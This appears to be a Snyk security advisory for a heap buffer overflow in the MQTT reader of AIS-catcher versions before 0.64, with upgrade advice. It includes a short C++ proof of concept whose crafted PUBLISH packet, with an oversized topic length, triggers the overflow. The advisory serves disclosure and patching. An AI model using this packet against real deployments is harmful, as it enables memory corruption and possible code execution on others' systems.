Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Heap-based Buffer Overflow vulnerabilities in an interactive lesson.
Start learningUpgrade jvde-github/AIS-catcher to version 0.64 or higher.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow via the Protocol::MQTT::read function, which process a PUBLISH packet with QoS 0. An attacker can cause memory corruption and potentially execute arbitrary code by sending a specially crafted MQTT packet with a manipulated Topic Length field.
// poc_mqtt_library.cpp (Simplified)
// ... (Include headers and MockProtocol definition) ...
int main() {
MockProtocol mock;
Protocol::MQTT mqtt;
mock.add(&mqtt);
// 1. Construct Malicious Packet (Topic Length > Remaining Length)
std::vector<uint8_t> packet = {
0x20, 0x02, 0x00, 0x00, // CONNACK
0x30, 10, // PUBLISH, Remaining Length=10
0x00, 0x14, // Topic Length=20 (Underflow!)
'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A' // Dummy Topic
};
mock.setPacket(packet);
mqtt.onConnect();
// 2. Allocate a valid buffer
uint8_t* buffer = new uint8_t[1024];
// 3. Trigger Vulnerability
// This call triggers memcpy(buffer, source, -12)
// -12 becomes ~18 EB (unsigned), causing massive heap overflow.
mqtt.read(buffer, 1024);
delete[] buffer;
return 0;
}